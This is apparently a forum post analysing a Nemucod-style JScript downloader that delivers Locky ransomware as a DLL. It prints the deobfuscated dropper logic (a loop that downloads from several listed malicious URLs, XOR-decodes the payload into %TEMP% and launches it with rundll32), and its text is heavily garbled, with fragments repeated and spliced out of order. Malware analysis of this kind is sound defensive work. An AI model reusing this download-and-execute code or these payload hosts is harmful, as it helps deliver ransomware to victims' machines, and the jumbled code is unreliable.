var TIk = [LYu + EQm1 + Tp6 + Za + HTq6 + DFt2 + OIy + Gg2 + Ad8 + Ta1, TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5, TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8, TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc];
var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
An obfuscated payload is downloaded by the script, then deobfuscated by several decipher functions, XOR etc, to become a real .dll file (old version : exe file)
var YZa3 = "%SystemRoot%\\system32\\rundll32.exe" + "";
var ZUi4 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
=> one of them is used to run the dll, depending on architecture of proc
Here for details (with some links to complete deobfuscated previous version)
https://malwaretips.com/threads/new...rojandownloader-nemucod-asx-26_08_2016.62839/
4) Important parts :
4-1) Connection :
var Zm6 = [LCo + Bp + Ty0 + IVz + Jm1, Mu + EMb + OJe1 + Yu8 + Sz9 + Nq0 + DFe5];
for (var OPr3 = 0; OPr3 < Zm6[ZJb + Av]; OPr3++) {
try {
var Ma6 = WScript[MOq + Lf4 + Xf0](Zm6[OPr3]);
break;
} catch (e) {
continue;
}
};
We have to replace the vars with its contents to better understand
var Zm6 = [ "MSXML2.XMLHTTP","WinHttp.WinHttpRequest.5.1"]
for (var OPr3 = 0; OPr3 < Zm6[ZJb + Av]; OPr3++) {
try {
var Ma6 = WScript[MOq + Lf4 + Xf0](Zm6[OPr3]);
break;
} catch (e) {
continue;
}
};
We have to replace the vars with its contents to better understand
var Zm6 = [ "MSXML2.XMLHTTP","WinHttp.WinHttpRequest.5.1"]
=> one of this methods used for connection (first available)
var Ma6 = WScript["CreateObject"](Zm6[index]);
4-2) URLs
var TIk = [
LYu + EQm1 + Tp6 + Za + HTq6 + DFt2 + OIy + Gg2 + Ad8 + Ta1,
TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5,
TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8,
TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc
];TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5,
TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8,
TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc
With replacements :
http ://maydayen.net/e3ib4f
http: //adzebury.com/dsd7gk
http: //duelrid.com/b9m1t
http: //smilehymy.com/f72gngb
http: //smilehymy.com/f72gngb (not an error from me, it appears two times)
http: //adzebury.com/dsd7gk
http: //duelrid.com/b9m1t
http: //smilehymy.com/f72gngb
http: //smilehymy.com/f72gngb (not an error from me, it appears two times)
4-3) Payload
var Lp9 = Io + Ri6 + TPc8 + DXl1 + Ag;
var IVi2 = Lp9 + Dc + Ay1;
it uses the short path used by programs that require the earlier 8.3 file naming convention.
var IVi2 = Lp9 + Dc + Ay1;
Io = MTm6.ExpandEnvironmentStrings(Nz + OPo)
Dc + Ay1 = ".dll"
Nz + OPo = "%TEMP%/"
var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
Ri6 + TPc8 + DXl1 + Ag = "VfqAQwQEZPrY"var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
MOq + Lf4 + Xf0 = "CreateObject"
LSk + Fk + OHb + PVg7 + Tp7 = "WScript.Shell"
LSk + Fk + OHb + PVg7 + Tp7 = "WScript.Shell"
Dc + Ay1 = ".dll"
=> var IVi2 = "%TEMP%/VfqAQwQEZPrY.dll"it uses the short path used by programs that require the earlier 8.3 file naming convention.
var Uv = fso.GetFile(IVi2);
var Lj4 = Uv.ShortPath;
var Lj4 = Uv.ShortPath;
=> VFQAQW~1.DLL
run => rundll32.exe %TEMP%\VFQAQW~1.DLL,qwerty 323
qwerty => function called
323 => parameter
New Locky ransomware as dll
run => rundll32.exe %TEMP%\VFQAQW~1.DLL,qwerty 323
qwerty => function called
323 => parameter
New Locky ransomware as dll
5) Main Loop :
var El = "";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Em = 0;
var Uw = [18807, 7552, 23965];
var WBe = Uw.slice();
WBe[0] = Math.random() * 29999 | 0;
do {
WScript.Quit(0);
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Em = 0;
var Uw = [18807, 7552, 23965];
var WBe = Uw.slice();
WBe[0] = Math.random() * 29999 | 0;
do {
if (fso.FileExists(dll_file)) {
try {
var oFile = fso.GetFile(dll_file);
var dll_file_short = oFile.ShortPath;
MTm6.Run("...rundll32.exe" + " " + dll_file_short + ",qwerty 323");
WScript.Sleep(20000);
} while (1);var oFile = fso.GetFile(dll_file);
var dll_file_short = oFile.ShortPath;
El = dll_file_short + ".txt"
if (fso.FileExists(El)) {
}var dll_file_short = oFile.ShortPath;
El = dll_file_short + ".txt"
if (fso.FileExists(El)) {
this[WScript]["quit"](0);
}try {
if (0 == Em) {
oHttp.send();
while (oHttp.readystate < 4)) WScript.Sleep(100);
var oStream = WScript.CreateObject("ADODB.Stream");
oStream.open();
oStream.type = 1;
oStream.write(oHttp.ResponseBody);
oStream.position = 0;
oStream.SaveToFile(file , 2);
oStream.close();
var file_content = ReadTextFromFile_char_substitution_1(file);
file_content = deobfuscation( file_content);
if ( file_content.length < 102400 || file_content.length > 235520) {
WriteTextToFile_char_substitution_2(dll_file, file_content);
Em = 1;
}var Gr = random(Tab_Urls.length, WBe);
=> first call of their random function to obfuscate a bit more
=> here, it gives a random "good" index, to begin the loop in the urls tab
=> but only because Wbe first value is a random value
oHttp.open("GET", Tab_Urls[Gr++ % Tab_Urls.length], false);=> first call of their random function to obfuscate a bit more
=> here, it gives a random "good" index, to begin the loop in the urls tab
=> but only because Wbe first value is a random value
function random(range, s) {
s[0] = 171 * s[0] % 30269;
s[1] = 172 * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[1] / 30307 + s[2] / 30323) % 1.0;
return Math.floor(r * range);
}s[1] = 172 * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[1] / 30307 + s[2] / 30323) % 1.0;
return Math.floor(r * range);
oHttp.send();
while (oHttp.readystate < 4)) WScript.Sleep(100);
var oStream = WScript.CreateObject("ADODB.Stream");
oStream.open();
oStream.type = 1;
oStream.write(oHttp.ResponseBody);
oStream.position = 0;
oStream.SaveToFile(file , 2);
oStream.close();
var file_content = ReadTextFromFile_char_substitution_1(file);
file_content = deobfuscation( file_content);
if ( file_content.length < 102400 || file_content.length > 235520) {
continue;
}WriteTextToFile_char_substitution_2(dll_file, file_content);
Em = 1;
var oFile = fso.GetFile(dll_file);
var dll_file_short = oFile.ShortPath;
MTm6.Run("...rundll32.exe" + " " + dll_file_short + ",qwerty 323");
WScript.Sleep(20000);
} catch (e) {WScript.Sleep(1000);
continue;
};continue;
WScript.Quit(0);
6) Random function - false random
function random(range, s) {
it takes two parameters, none part inside is linked to random
First time it is called
s[0] = 171 * s[0] % 30269;
s[1] = 172 * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[1] / 30307 + s[2] / 30323) % 1.0;
return Math.floor(r * range);
}s[1] = 172 * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[1] / 30307 + s[2] / 30323) % 1.0;
return Math.floor(r * range);
it takes two parameters, none part inside is linked to random
First time it is called
var Uw = [18807, 7552, 23965];
var WBe = Uw.slice(); => still [18807, 7552, 23965]
WBe[0] = Math.random() * 29999 | 0;
=> real random part : first value 18807 is replaced by a value between 0 and 29999
var Gr = random(Tab_Urls.length, WBe); => here random will only depends of WBe first value
Second time it is called : the famous XOR part (see previous analysis) :var WBe = Uw.slice(); => still [18807, 7552, 23965]
WBe[0] = Math.random() * 29999 | 0;
=> real random part : first value 18807 is replaced by a value between 0 and 29999
var Gr = random(Tab_Urls.length, WBe); => here random will only depends of WBe first value
for (var index =0 ; OPr3 < IGv7.length ; index++) {
with AJf = Uw = [18807, 7552, 23965]; => never changes
=> this time, not a random value
=> 118
IGv7[index] ^= random(256, AJf);
}with AJf = Uw = [18807, 7552, 23965]; => never changes
=> this time, not a random value
=> 118
----------------------------------------------------------------------------------------------------
NEXT PART : 4 d7f8c742cd.html (quick because similar to above sample)
----------------------------------------------------------------------------------------------------
NEXT PART : 4 d7f8c742cd.html (quick because similar to above sample)
----------------------------------------------------------------------------------------------------
Last edited:
